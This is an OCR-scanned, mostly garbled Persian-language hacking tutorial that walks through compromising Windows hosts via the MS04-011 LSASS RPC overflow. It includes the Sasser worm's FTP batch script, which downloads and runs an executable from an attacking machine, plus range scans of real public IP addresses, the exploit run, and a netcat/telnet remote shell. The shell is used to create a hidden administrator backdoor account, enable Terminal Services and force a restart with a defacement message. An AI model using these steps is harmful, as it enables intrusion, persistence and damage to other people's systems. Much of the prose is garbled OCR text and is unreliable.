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echo off

echo open [attacking machine address] 5554>>cmd.ftp
echo anonymous>>cmd.ftp
echo user
echo bin>>cmd.ftp
echo get [random number]_up.exe>>cmd.ftp
echo bye>>cmd.ftp
echo on
ftp -s:cmd.ftp
[random number]_up.exe
echo off
del cmd.ftp
echo on

LIP 3 sy (ul do alaa @y yuls sasser dulyl sla g gs dS Cuul acd 93 da p5Y iyl
dad gan

127.0.0.1 .

10.X.X.X o

172.16.x.x - 172.31.x.x (inclusive)

192.168.x.x .
169.254.x.x
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ouieus 93 0 )8 (S S L dS walyu (i AW Z LA (sla dad i sasser cwwl jSi Juls
poS 4l by whagal pyS Gl 51 800 g1l (S pdiiie @ g g i SSas oladl S (ol
@ dalds gas GNome (gl la g wiagal oo ouldicyl 3983 (5l 0 8 (jaaa H) (sams sla
L culill g g 34ds diols a3 51 Jdg wuge Worm.Win32.Sasser.B L 1o g3
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23l o900 byl p

1 : Nmap (Current Version is 3.50 as of this writing )

http://www.insecure.org

2: nclint

http://www.atstake.com

3: GFI Lan Guard Security Scanner or DSScan (version 2004)

http:/ /www.foundstone.com

4: HOD-ms04011-Isasrv-expl.c( Compile This Source)

5:Terminal Server&Client or WinVNC3

http://www.download.com

olalas joliis a9 oug (D8 Sla plauw 59, g oud pladl Clales golad @SS

il oo o god LAN  asiii o gl m L IP g Cocdl ouan S dugd clulac
M Sl ) asS oo ouldicl —SP mugw L NMap ) (pdigy Lo Al oS
IS (sla 9 yu ds 3983 g RPC 0 8a dllis 3 Cranad (ul (5l yu audl g5 oo allBo udi SY g

I BT b 83 5y90 Gl Al (39S Ty 51 g wiS suldinal Gy cuiel culu s

S Sa Hlah o g0 Bug ity
L oo KT aais jgue dla g Gl 3wl g oo wdils oo Lok HIA3 890 Sua S Ladd S il
JS|quA:aﬁolSTMwL;jJoﬁ;ag;\gjl.;?lﬁgooig\”ﬁExploit padlinns Caedd
M%Jldxlg%migl.&WQAJSL.\:&?L;b.:HJRangeIp Sa (jayS S aal lad
3 oote (il (5 ys aail g3 oo Lach iy i g5 oo (5] 0uliS diud s Exploit L gl <o s
S b Sl il (59l .asslad suldinl GFI Languard Security Scanner v5
o8 oolad dsly uis o Sa (gloy (8aS o Ladi Gl 1y pold 68 (al LS & dS Cacun
ol o 0 b Lad Lada g wiS oo Jaug Lo () g ad |y Gyl () B oo adalad sla

K095 4 (A8 (bl Ll (5 ylule sl Gl L IS (g S oo alealindi pa | 5 S0
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=olis yo uiled ool Ladd o guis Configure 93 SIS uyla yasedl o ys Configure
Sl Ol oIS lgh GSaad GBS 038 LS (inan WS a8 jupe osel Cuas 4y
Saa 3 i ) oF (s 9ga. Cal 51 4 ya SLaySA Cigaas Lo sl 3 (S (al Cat

(- passe a5 1) of Lo sl

( GFI Languard Security Scanner v5 ,is.dl)

BH GFI LaANpuard N.5.5.

File  Tools Configure  Help

_‘1 Mew Scan... - Using: Currently Logged-On User - 2 Tlame 35S0 I:I

= Sean Target: 12?001 v_' Prafile: |Default v'

FILANgUard 1.5.5. &

Urity Scanner (Default) | Scanned Computers Eaan Eesiile
Scan Filkers (Current Scan! ‘_ R

[‘? Full repart
[‘? Yulnerabilities [High se
[‘? Yulnerabilities [Medium
[‘? Yulnerabilities [Al]
[‘? Mis=sing patches and s
[‘? Open Porks |
[‘? Open Shares
[‘? Auditing Policies |
[‘? S ! v
¥ Groups and users || Seanner Activity Wwindow
[‘? SR e

d % Result comparison

{5 Tools
(= {4F Corfiguration

f' Scanning Profiles

g Scheduled Scans

s Alerting Options

g Parameter Files

s Database Maintenance Op
=] .ﬁ General

&% Program Updates v ||

0 yS dagh yold ) gliie (il 5l ;s Foundstone s i as |y (51580 ays Laski 1 ys (0 a3
o A9 wdib o0 GFT 51 55 oules jlacws Hlacas pisal Gl b IS a3S (o0 algacdiag 1) S
(43S 42 95 (0 dao 95 (il 4o L ) i3S o0 dao 93 1) GFL (laa Lo ) 4 o 51

43 echo packets (julicu)§ a3 g9l 0 8 (il SLise yu 4S Sl (5,380 5 DSScan
packet (idS ;L goda ugag Gygee ju aS salad (oo HAY 4 90 (SLA pleus YYO &1y 5
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( Foundstone css i 5 DDSScan ) 81 ,3) aaiS da g3 ja ) JSd do

D DSScan 1.00 - Copyright @ Foundstone Inc. 2004 - www. foundstone.com

~IPs

Hostharme P

statlP X[ [127. 0 0

|| Start|IF EndIF Clear Selected

1 Clear il
-
EndlP X[ [ 127 0 0 25
Read 1Pz from file Browsze. .

[v Resolve IP addreszes to hosthames

Scan Control

Timeout [ms] | 5000 i—]

[+ Show both vulnerable and not vulnerable systems 3 |
¥ Bandomize scan arder
A
[~ Send meszage to vulnerable systems =
w
IP Hostname HetBI0S Statuz ]

Scanned 040 Yulnerable ’—EI— .

geddie Iy (Sl 659a End Ip 4 Start ip MJ4|431\|JASM|Q:‘|9JK&3JJ36|J9
WS g i ) (Sl g S QAT 0593 ()T Jalle (IS (03 b g aiS

wig&eﬁuﬁwstatUSMJa.&dbS@Luﬁ.&ﬁwmmjug@:\m
s Host name LIp < sy (ol I8 b disdl uis oualdie 1) iy el jaé g iy

Cudd Bug () Gadile 83 511 Bua <o L8 wail gl oo (padaad Ay () YL e

. Jaas

-
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Brog adils oo Ado dSads Su do boga g0 0y yaglaaljo oudd oalo Ll A IP @ ,sid
M A3 0,90 asadd ) gyl o g w3 oudd e ViRtual asud s JAMs o i) 9ol g
s ol oo ouldil

o OSeul 217.218.13.1-217.218.13.254 31 1, L IP 3l oj9a S (o ) JSb a2
VIVIANY VY ds aass oaaldio ol 95 oo Lad .0 gl (o0 0ula (plalad & pow s ealis als
JSudi dy ) IS IS Bua (aad 59, pols waS (o 9 Sl 0 a (il paly el s S
ouiti yadiic Vulnerable L i ol sl alcwsw Status ciand ju (waisS dagd )
.l

(DSScan Lo 5 (ySeul Glslac )

3 DSScan 1.00 - Copyright © Foundstone Inc. 2004 - www. foundstone.com

IPs

Hozthames P

217 21813213 Start [P End IP o2 Sele
217.218131  217.21813.254
statlP X[ [ 217 21813 1 Al

End IP E [ 217 . 218 13 . 254

Read IP: from file

Scan Control

F Timeout [mz) ] :‘
4 | =]
I & -
= T ..
w
IF | Hosthame | FetBl0S | Statusz | s
I [Unknoen] YIUILMERAELE
- =] YULMERABLE
21721813132 [U ko] RASHEWT Mot vulnerable
M7.A813133 [Unkriown] RaskY4 Mot vulherable
21721813145 [k o] RasSAY4 Mat vulnerable
217.218.13130 [k o] Mot vulnerable
21721813164 [Urk.rowan] La=y Mat vulnerable
21721813148 [k o] & Mot vulherable
217.218.13.163 [k o] RASHEWT Mot vulherable
21721813173 [Unknown] E-UCADFBRSKAALD WULMERABLE
21721813186 [U ko] Mat vulnerable

v
& canned [ 5iess Vulnerable 4 :

() SOUrce uuilgi oo Ladhi ) adiS oo (33,00 SBua g aa |y EXploit als jo Gal o oY
(-a3S bbusls Lec Win 32 «als 3 L 1 Exploit
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HOD-ms04011-Isasrv- Y gbo awul (pl Hlold du g o Cawn j) (s paS gl gl 1 da gl
i3 ad Ladh A3S oo algidiag auls alh yuaid Iss.exe a1, Exploit (ol als 5o expl.exe

-asaas aladl | s (ol s slacast sl al 5

(Saa alwis (59 42 Exploit s/ ,al)
Fend

C:nrlss B 217.218.13.173 L0688

M384811 Lsasrv.dll RPC huffer overflow remote exploit vB.1
——— Coded by _.::[ houseofdabusz 1::. ——

[#]1 Target: IP: 217.218.13.173: 05: WinXPF Professzional [universzall lsass.ex

[#]1 Connecting to 217.218.13_.173:445 ... 0K
[#]1 Attacking ... QK

AN

saalis |y Attacking ... OK aliass g ad Juo 9 Saa dy ¢l 9o L Exploit  asiuf 51 uaa g

aaiShuas o yicss Shell Account @ ja5 605 gu 3 (So Bayb 5wl waa S

Ola dafy 0 gd aleuss Ovvr G99 Netcat  aols yu lacs o3 Exploit (sl yat 5 Ju§ - I
BindPort yfsic a3 Explit sl ol alsin o Ladi a8 Cunl (a8 Glead (ol ayliSy o g

(38 da 93 YL JSudi dy ) s S LA
4S aacils dihly dash () ds da gi (g wans culdieyl a6 a0 sl Oy g ) wadl g5 oo Lacs

Sy S35 0 plaalical oo dn S Ty ald Gysr b YV LAY e gsme e @yse S
Syl go JAIS Gels as G GISe! () wais OlaTSs |, wiis e Sl La Protocol
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Jo (Hgare b gla Oygn Sl Figs pwy Saged dalge Cousidi b Lo g 9 gt Exploit
- auiS ouldiul (5 a0 of g3t ©y ge 4 Li— FFFY —FFFYY

4S Cacal d35,S 51,8 agiah Clla du Or v Ciyga 4S wuiS oualifie wilgh oo Ladh ja) JSub L

dm{.\L.u:..‘.ul.;bgleglﬁaJxofljlmW‘”ﬁJ...ZEproit Qg S u b
WS oo ouldi

(Brrr G g 9y 05t Ol yo 0 9d aleais (yals 4 S )

e cmd - nc -1 -wwy -p 5000

C:s>ne —1 —wuy —p 56808
listening on [any]l S8B66B ...

Telnet |, wils o Telnet jf ouldiiul aiS oo algiding Iy oF (0 9 9a 4S aga ol o
bl )l 5yl Sy el J135 51 g .Cadl yold 0, 90 () jo Netcat 3 (g i Gie yeu g yla
oly 99 )l <o ;& ARSI . Caedl o i b8 netcat o VVV( very very verbos) culs

Ayle S ladi o ga awa YU

ipconfig ,gicus b g add S caws du Telnet wol yu Gaybs 3 1y Jubi (o ya) JSubi jo
S oS o0 adlg 4o akaa 217.218.13.173 ojlad P @lyls (¥ (0 45 aud (yialas
035 b paS (o0 alghadig . pudh Al y330 (538 A (ot yieas @2 b pleasas ol gla 5 9

ais pALBUG (Galugag 3 1 LT 5 5590 5y e 4 Jue S
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(Telnet 3.3k jiShell (,is 5)

ey Telnet 217.218.13.173

DS WINDOWS~system32 *ipconf ig
ipconf ig

Hindows IP Configuration

Ethernet adapter Local Area Connection:

Media State : Media disconnected

PPP adapter sepanta:

Connection—specific DNS Suffix . :

IP Address. . . . . . . . . - - . = 217.218.13.173
Subnet Mask : 265 .255. 255255
Default Gateway D 217.218.13.173

D:SWINDOUS “systemd2 >

il 93 oo Syls ya (Y das AN G g Caculacd Cang o G839 90 alass e delul o of
99y 43 amlgh oo Ladh laal ju. apls agag (L Cungaae (SUAS GBS G (g asaa aladl
PSSyl o Loy sula Guys Snifff LLTFTP & b ) Gua a Ll o s Ju
o 45 1y sleayls ) Ss ol pols (LT (51 188 dalal ja e (g s pladl g e
(590 3392 plS S alasl T 5 pas (oo QLA Lack ds waaay aladl Bua w59 il g3
saae gyl A il je e A 3580 1 suas Glads gl ds Cul G 0,90 pllews
slasl BackDoor <y Jua (59, wuilgs oo aa netcat L Gull sadibs audilsy Exploit
Lok (il 3500 (oShuums Lok w33 & Gua e 3983 31 ala yo [l 3 235 oo Jf S5 a3l s
net user gicus by ju) JSib jo. 2383 (o6 (i yiuS Sud (59, 1) OIS 3583 ¢ 95 4S aiicua
Ly CualS (paad 31 oS 3y 9 ey ol g3 oo Lach wiiS oualifio widlgh oo | albewscs sla eS|
0 il |y Cuwa Administrator Liul ju das Lol S 9 9em (A9 wsdu Haads |
Ol jaadd (5l e 899 oudis ouldicd (5 3 ubi) Cue lys 4S walkdila 1y G u,lS als 31 ans

el Caealine
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e Telnet 217.218.13.173

C=“>net usepr
net user

llcer accounts

Guest HelpAssistant

The command completed with one or more errors.

G =

Jsidi as) sysbackup ol b ais slaal alewsy jas oouyieus b 5599 Soa o aal (10 g
a3 oaliiaul (T 31 (Sae (51 ys 4S Cudl 9929 (582 US! S 4 s pa L (S da gl )
LS IS Glad (59 3 il g8 (o0 ik

(Sysbackup ol ds ssuas @ils) sy (o yS 48Lsl)

et Telpnet 217.218.13.173

C:~>*net user syshackup ~add
net wuser syshackup ~sadd
The command completed successfully.

R

ol a8l alewsin 5la yu,ls 4 sysbackup ds wsissss net user Gl ¥ suas gl ol b

(Ly &ails) sane sualiis)

v Telnet 217.218.13.173

cer accounts for M

Administrator Guest HelpAssistant
SUPPORT _388945a8 syshackup
The command completed with one or more errors.

=" >
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caldicsl net user sysbackup (jls,$ 3) asialos ds (5,599 oyl Ol iy caaldis gl
O 5908 W gudi oo da gie wuiS da 93 local Group memberships Ciowd @ asis o

!m@wxuéﬁJ&

(o..u.i“a .\L.;:\I Calsh oy 90 J.“\.‘.a:u NVREN aml.ﬁ.'w)

v Telnet 217.218.13.173

C=~>net user syshackup
net user syshackup
syshackup

comment

Bid (System Default?
Yes

Account active
Account expires Mever

Password last set 7/16/' 4:17 AM

Password expires Br28r 3:85% AN
Pazszword changeable P16 4:17 AM
Pazsword required Yes
User may change password Yes

Horkstations allowed A1l
Logon script

Uzer profile

Home directory

Lazt logon Mever

Logon hours allowed All
Local Group Memberships #lzeprs

iGlobal Group memberships *None
The command completed successfully.

MR

pAY (o0 yiadd aleuses yaus ds |, SYSDACKUP w515 JSid 59 4S 6 5 ghes b (10

(Administrator caicw juae 4 wsaa Calsl Jaass )

Telnet 217.218.13.173

C:»>net localgroup administrators syshackup sadd

net localgroup administrators sysbackup ~add
The command completed successfully.

R
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4245 Local Group Memberships jow @ ga S oo Slus 9o sysbackup i 5L

45 i (o0 aS

Creul caiunu juae s sysbackup (Y

(3392 5593 Ol i suae oualdic)

Telnet 217.218.13.173

C:“>net user syshackup
net user syshackup
lzer syshackup

Uzer's comment

Country code ABA (System Default?
Account active Yes

Account expires Hever

3:85% AM
4:17 AM

Pazsword expires Br28s
Pazszword changeable ?r16s
Pazzword regquired Yes

Pazsword last set '?/16/. 4:17 AM

llzer may change paszword Yes

Workstations allowed All
Logon script

Uzer profile

Home directory

Last logon Hever

Logon hours allowed All
Local Group Memberships *idministrators

Global Group memberzhips #Mone
The command completed successfully.

R

pasae Ao pad 5593 Ol (S 9y ) ouliicl geu dd oS 48 I (5 S gl (518 pd 9y g gy S
\YYYO

(alsh 59, 995w (ala I F)

Telnet 217.218.13.173

C:wrnet user syshackup 12345

net user syshackup 12345
The command completed successfully.

R

Remote & b ) wuilgise Jusy was S cualdic |, Terminal Services (g pw
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suldicl Terminal Server & Client Jic 5,54 sla 4l ;4 L Desktop Connection

2 < Download.com  cula 1 1 S8 0 9o dols yo wuis

(Terminal Services (o gl ds-Sua aluss S 95 Syl LA s § pou Caewal oualiio)

Telnet 217.218.13.173

These Windows services are started:

Application Layer Gateway Service
Automatic Updates

COM+ Event System

Computer Browser

Cryptographic Services

DHCP Client

Distributed Link Tracking Client

DHS Client

Error Reporting Service

Event Log

Fast User Switching Compatibility

GFI LAMguard M.5.5. 5.8 attendant service
GFI LAMguard M.5.5. Scheduled Scanz Seruvice
lelp and Support

Internet Connection Firewall CICF» ~ Internet Connection Sharing (ICS>

IPSEC Services

Logical Disk Manager

Mezsenger

Network Connections

Metwork Location Awareness (MLA>
Plug and Play

Print Spooler

Protected Storage

Remote Access Auto Connection Manager
Remote Access Connection Manager
Remote Procedure GCall (RPC>
Remote Registry

Routing and Remote Access
Secondary Logon

Security Accounts Manager

Server

Shell Hardware Detection

S5DP Discovery Service

Syztem Event Motification

System Restore Service

Tazk Scheduler

ICP/IP MetBIOS Helper

Terminal Services

—Themes

Upload Managew

HehClient

Windows Audio

Windows Image Acguisition <WIA>
Windows Management Instrumentation
Windowz Time

Wireless Zero Configuration
Horkstatiocn

The command completed successfully.

~|

Olgae 4 uadlgd oo Ladh u gas start clls o Lo 4 w Terminal Service (yuw gy S

3529 Lok (5l 43 lsel () (sas Gilada jo B wads (glaal o)y |y (s g peu (ol adses yau0
gl Jo g S8 9 90 49w <o Femote Desktop Connection & ,b 3 as wdils diily

aoliys sl (awis axalyo Net lo s ol ysicun ) @l uag s gHll oy ¢l ).
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D9 o Hudi bo g (sl 343 WInVNne32 4 Terminal Server&Client Jio s 50 sla
a0 sl a3 (So 993 31 lauls (Saly 5l e Lol dS wuiS suldieul uuilgi oo
. p3S o0 ouldicsl Windows

Ldl Gldulaal s 0923 L YU Jalye yu as 5| Password g User name i .5 Jsdi o
ALy o ool S pliied S dd 9320 39,9 o o)y LS (l dadl aadS (o0 ol waads
284S (S ekailean pu) Jle Laddi ¢l 1y o (o s User Friendly ig, ol 45 bl )
plusics 908 4 0l g8 pleuses 3 an BackDoOr s ulal b will 55 (oo Lach 2385 a2 YUy

s 3 s Exploit (5l jal 4 5l (g

(Remote Desktop Connection 3. ,b 3 bl s, S )

% Remote Desktop Connection

e £ --| -|. g I I " .
General | Dizplay || Local Resources | Programs | Experience |

Logon zettings |

= | Type the name of the computer, or chooze a computer from
= the drop-down list.

Computer: | 217.218.13173 |

Uszer name: |s_l,lshckup |

Password: |-----| |

Domair: | ‘

[]5ave my pazzword

Connection zetting:
Save curent gethings, or open saved connechon.

[ Save bz ] [ Open... ]

[ Connect H Cancel ” Help H Dptiohs << ]

Lok dS aleun Ghalas (po g auielila |y (R3S 9T Crud du HUASY Lok dS caul (s 3ua laa (al g
OF saae dla po (al yu asbes oS (SLAHSA dad wiile g ual jaad (5,ISul A 4 gSaua A Cuwy
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) Saaiy el Gl 938 g2 o)) § 4 (o8 Al pogead w BUg (il il 1) b
aas oo (Gl 3T s pa

(GUL 3y 51 Saa piaasus 43 sk a9 )

| syshackup
“ \
“temet Explorer J A e

Eb My Recent Documents  +

e :
ﬁ My Pictures
‘! M5k Explorer ) My Music

Windows Media Player g‘ My Computer

WL windows Movie Maker @ Control Panel

"% Printers and Fares
Tour Windows %P =2

. Files and Settings Transfer @ Help and Support
Wizard

) search

T Run...

<& 6

Paint

All Programs D

ﬁ| Log off |6‘ TiRTOFF Computor

i start

N.od:ss.‘

Sua alai dg audl g3y i Password g User (yidila b (Ja d4s ayls uga g 533 (lsel (ol
99 Ladd ouds dddlv o3l calsl G o gl Restart a3 o,90 9w wabs Iyu) Wl Jog
09ke (4l (51 53 9 gan culdiedl O 3 (4 g (sums dada yo B oS ) S aleais el des g g
Remote ;f o, L gu pusw wiis suldici) Remote Shutdown Dialog Windows 3 3.

- aas suldicgl Hudi Jus 9 (51,0 Desktop connection
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4 Microsoft 2k/XP/2003Server ,s «s Remote Shutdown Dialog ¢4l ys o g3
oy 3 sivusen 030 ikl L 1) oaivascs 58 uga 3a8lgh Hald Ladk 350 992 9 AN 5
9 Logoff g Shutdown 4

2SI A i 1 098 3680 08 ¢ pled Sy waly Leds 4all. sualss Restart
Ol wulas Log in o ds wacddl gis 5L Sua alww a,s Restart 51 aay a3 dla yo o
sahi Sia L g Disable Ladi usua ciils! § Cal oudd osbeslindi Ladk dlas 45 u g,y oo Jlaial
i blial b b ool g aagedi aylg EXPIOit (psea §a b 3 S caeu o,Liga oo Saudl
3888 GBS 55 ousany 53 0 3T (g okl 33 g5 oad (leaT SIS plliwsis S a3 3680 an S
..... W9l o0y 9lale AOSH (paan ju S Lol ) Sl Gasle lgas a0 g

Remote Shutdown Dialog

Computers:

271813173 Add...

Remove

Browse

i

“What do you want these computers to do;

| Restart ﬂ

I wamn uzers of the action

Drizplay warning for
Seconds

Shutdown Event Tracker

Select the option that best describes why pou want o
shutdown the computers
O ption: [ Planmed

| Other [Unplanned) ﬂ

& zhutdown or restart for an unknown reason

Comment:

Al wour systems belong to us ) ’
Black_Dewvilz BOyz Digital Metwark, Securty Group

| ] | Cancel |

364y as C_s.‘.ulafla.@.asts.l,aa:\ls‘;abgélag'adMQJ‘gb%ﬁam:dQele@a:ﬁTe%
O passadialgd L aais oo Jldu |y Slaal da uga 3588 §) 9wl o0 (b pleS dagSa ly ued
a S 5 S 03058 Ab Ol ,Sa 4y s 0 353 L8 S 0ol 5Tl (ol
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Ry g9 auslad aladl oud oLl sla m cuad da wn g (2 98D Aleaiw yo (Sb (i
Iy wiwa € L) a0 s gh dols o du Jabiws das Ay yls (gl |y Exploit () Source

paaa o0 S

aule 8 Jola ulad allle () (B gs b Blal ISifie b uy9d j0 43S ja Oyygo o
Al (o0 00l freuly O g £ el o (Hleuyl Sla dols olad da Lias

Mohsen2 ir@yahoo.com

Liv4devil@yahoo.com COllectOr@Spymac.com

:aaiS Gl ya gy guyal H aadles o 1y Exploit sl
http:/ /www.websecuritymgz.com/articles/Iss.c
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